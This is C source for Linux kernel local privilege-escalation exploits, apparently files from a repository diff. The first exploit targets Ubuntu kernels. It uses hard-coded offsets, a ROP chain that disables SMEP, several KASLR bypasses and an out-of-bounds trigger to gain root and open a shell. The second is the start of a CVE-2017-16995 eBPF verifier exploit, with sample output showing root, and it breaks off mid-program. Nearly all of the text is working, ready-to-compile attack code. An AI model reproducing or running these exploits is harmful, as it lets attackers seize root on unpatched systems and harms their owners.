// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
dprintf("[-] mmap()\n");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
dprintf("[-] socket()\n");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
dprintf("[-] connect()\n");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
dprintf("[-] send()\n");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
char* path = "/etc/lsb-release";
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= max_length) {
exit(EXIT_FAILURE);
}
if ((found - &buffer[0]) + needle_length + i >= length) {
exit(EXIT_FAILURE);
}
output[i] = found[needle_length + i];
}
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
void detect_kernel() {
char codename[DISTRO_CODENAME_LENGTH];
struct utsname u;
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "14.04.1")) {
strcpy(&codename[0], "trusty");
} else if (strstr(u.version, "16.04.1")) {
strcpy(&codename[0], "xenial");
} else {
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
// Linux Mint kernel release mappings
if (!strcmp(&codename[0], "qiana"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rebecca"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rafaela"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rosa"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "sarah"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "serena"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "sonya"))
strcpy(&codename[0], "xenial");
}
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(u.release, kernels[i].version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strcmp("trusty", kernels[kernel].distro) == 0)
addr = get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0)
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[!] unprivileged user namespaces are not available\n");
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
dprintf("[-] write_file(/proc/self/set_groups)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
dprintf("[-] write_file(/proc/self/uid_map)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
dprintf("[-] write_file(/proc/self/gid_map)\n");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
dprintf("[-] sched_setaffinity()\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
dprintf("[-] system(/sbin/ifconfig lo up)\n");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
int fd;
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd == -1) {
dprintf("error opening /proc/1/ns/net\n");
exit(EXIT_FAILURE);
}
if (setns(fd, CLONE_NEWNET) == -1) {
dprintf("error calling setns\n");
exit(EXIT_FAILURE);
}
system(SHELL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
dprintf("[.] checking if we got root\n");
if (!is_root()) {
dprintf("[-] something went wrong =(\n");
return;
}
dprintf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
if (argc > 1) SHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] checking kernel version\n");
detect_kernel();
dprintf("[~] done, version looks good\n");
dprintf("[.] checking SMEP and SMAP\n");
check_smep_smap();
dprintf("[~] done, looks good\n");
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
dprintf("[~] done, fake stack mmapped\n");
#endif
dprintf("[.] executing payload %lx\n", payload);
oob_execute(payload);
dprintf("[~] done, should be root now\n");
check_root();
return 0;
}
Binary file not shown.
+496
View File
@@ -0,0 +1,496 @@
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
